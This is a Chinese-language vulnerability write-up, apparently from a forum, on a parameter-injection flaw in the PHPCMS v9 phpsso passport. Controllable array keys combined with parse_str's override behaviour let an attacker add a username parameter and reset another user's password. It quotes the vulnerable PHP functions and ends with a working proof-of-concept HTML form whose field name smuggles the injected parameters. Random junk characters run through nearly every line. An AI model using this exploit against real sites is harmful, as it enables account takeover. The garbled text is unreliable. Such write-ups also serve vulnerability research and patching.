提到的通行证的代码:
- T3 K! s- |1 ]0 ~, m: g$ ]
( f( t' `! G7 x9 P5 O
2 u. C! o* ?$ sparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);; s( M* O" L% K, m7 b l# b
4 P. R0 i7 ?4 g t; F- Q- J( d
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
& K0 z+ P6 `9 y
, n4 {' r5 B6 o. l" B5 N; J1 U' Z我把它留给了你们。. V; X2 b- N5 @& e7 i/ I8 S1 }+ [ T6 K
不知道你们发现了它没有。
* C9 s% a- f, t; H7 H) Z: g* h: G0 V
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。; }0 p1 f7 b2 w( b R8 R
, }( h. Y; H, ?所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
) V; F9 F4 p, R1 d3 [; z" s; K, l; _9 O/ S" C" q2 ?% P
也就是
6 |2 b" {2 |* V# u" x/ H0 G8 ~5 ^9 B% z* x3 e; w. m- r
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
$ v/ }- L7 |$ Z/ t
% ?1 s+ Z6 X0 `% @& U* K4 D2 r要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
9 s" n; A2 v/ ~% B) R
0 S! C% S0 n8 _2 G# T7 R3 w$ x+ a: K; z' L7 C$ A
其实我们有这样的机会,看看代码,如下:
4 @. w+ x. s: f
+ |! r' p/ O6 ?6 U: l g( D5 D; J
+ `2 }& R v4 M' Y4 D5 rpublic function auth_data($data) {
. I. @9 d% V) \7 v) [# @: } $s = $sep = '';
, b7 G8 V* y+ n foreach($data as $k => $v) {
9 c( Y6 |/ U% F6 n if(is_array($v)) {7 q0 Y( x j' w
$s2 = $sep2 = '';/ Z1 z; e9 k5 u. A9 f8 y
foreach($v as $k2 => $v2) {
) e7 a r" T/ R; ]2 l9 ?0 S $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);0 U' Q% Z: }7 o4 R) [! Y
$sep2 = '&';* |/ \- ~9 ^/ Y+ T" [8 J, A: f
}
9 N, S( a9 ]4 e0 C0 N& t2 c $s .= $sep.$s2;
. R: \ I! Z! N$ {# B5 H } else {
$ F3 [, _8 y( w2 ] j $s .= "$sep$k=".$this->_ps_stripslashes($v);
3 L+ m+ H% [, H1 \/ w) n }
+ P1 s8 @. X" v" u+ [6 }, F3 N $sep = '&';! A; _+ e' l5 w( h& x* s
}
p) Y* \5 v. J
" b+ i( r3 s& k $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
+ O( y; E5 A7 D6 J0 Z; F0 I return $auth_s;
( N1 A) g) r" p6 G& f3 {/ \2 ~" ^# n }" M9 W( A5 I2 a9 C' V
8 ?9 C. E/ }6 q
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。5 S% V/ P7 I3 N
- j6 h6 q) }& X3 `1 i
举个例子+ `1 z& j/ ]) t7 h
3 m+ ?, L+ j3 h4 }# G" [6 h$a[aaa=a&bbb] = 'a';% D5 T$ A- F* b* N# g
& ?( l0 M! H0 {
会变成aaa=a&bbb=a
& X) ~% s) Y2 i8 y9 m; p D" y3 q. }3 ^/ N7 t
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
8 I( M. X9 e0 W+ e! f/ o3 @
1 E5 j" O( Q% z. V2 ^这个时候,我们可以再去看一个函数。
! K, L+ y+ ?/ w& t1 s6 ]0 j8 @9 ~/ ?% ^ I- O
就在这个文件内:
0 L, }4 s) i2 I" L; K: V/ U: l, r& |' q5 v$ y9 T% j/ W
) ~& C9 n6 T8 ^ b; x, v
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') { d5 p, L5 j- t
if($email && !$this->_is_email($email)) {
1 q7 [2 v4 ^. P1 }5 t/ M return -4;
& G8 ]( i; A8 l9 r7 Y }- ?- A0 {' J: H5 }% Y% D
return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
( b! h. _6 n- l2 A# a }
9 {3 q, |% x* J. r4 ^4 }) o' ~( P( E/ Z/ ~. ^
这是向通行证发了这样一个请求。
5 E4 E( z' _6 u) r' i
- t( y1 o' D# b S我们再跟到通信证代码里去看看,就会有所发现。
' W* h, F6 L3 G
; d9 A, y5 O3 [+ w; z
/ w3 W* i* v' J3 n5 X$ C( [! [6 rpublic function edit() {9 }$ H6 c) E/ b! J
//能省就省,太长了不是吗?
0 {2 b X8 [' |+ [( Z2 y ?1 a4 d
if($this->username) {
( m( M( V' f9 q! c5 y4 s//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
) K( N: h% a! V8 G: D' F $res = $this->db->update($data, array('username'=>$this->username));
1 D& B6 y& v$ ^- H( ]6 H } else {
0 w4 a0 j3 U6 L& X4 X+ W file_put_contents('typeb.txt',print_r($data,1).$this->uid);
, I! V/ ?1 j: g' G; o $res = $this->db->update($data, array('uid'=>$this->uid));
- Z) b: a$ ]; m7 [3 G }/ ?- O7 z9 l# U# _
0 D/ a& w8 M, Y n* ?( K: |4 q
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
* L: [1 n% ~: E5 }1 ^) i% `6 x) M$ ~( a+ N1 J6 O
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')8 ~4 v" v' t! Q3 {* M! G* D' V& B
! c3 ]) v5 V! {% u0 ~7 o) X很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
M8 [* p( _5 o0 t. ]
0 T" s, k0 G, I* N# w) D$ C/ ~我当然找到了:# e$ k4 m- C, x
phpcms9/phpcms/modules/member/index.php
( y2 g5 V/ u6 k7 v4 ~7 ]' {7 |& l7 e7 A6 O b
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);5 @, O2 w- a" o3 K9 m M. K8 k
^! n3 b( K' k& w* H% k
然后就没有然后了。/ ]: J! I* u' V% H7 Z
) o# \, d& l3 T
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
+ q$ t5 g" w# C% Z: q <table width="100%" cellspacing="0" class="table_form">0 m: m: m0 z- P* I2 O+ h- @
<tr>8 V7 [5 e6 s3 o1 |8 G. s! Z. I
<th width="80">邮箱:</th>
( ]. {( l- p& N" I* u <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
6 b! \! e2 ?' S1 q6 P0 V </tr>1 J$ c7 y2 T, H9 x& n/ {$ ]
<tr>& n1 K/ H7 b6 H3 a/ m; P! c
<th width="80">原密码:</th>
( J" y8 O7 T: n# q1 i <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
i0 G+ b7 R. T7 K; z4 n) `% S. E </tr>5 s) ]: U0 Y2 K% y0 T
<tr>& }" X/ r: B# h# L
<th>新密码:</th>
& J, Z, j& P0 V3 _ <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
; U' q" b8 y( ~2 ~" S6 O. A </tr>1 i G2 L' B( G3 Z
<th></th>
6 r& Y9 P0 q) s7 P! X1 I <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>7 h9 B! ~, Q: }1 x- }
</tr>: `! i Y- D) \$ i1 t3 _: e
</table>
4 ^$ i" m0 o- t$ V) Q
6 a: l) t. p% `+ u: U " Q) a s, X9 V3 k
</form>3 R4 i) w. a7 j
|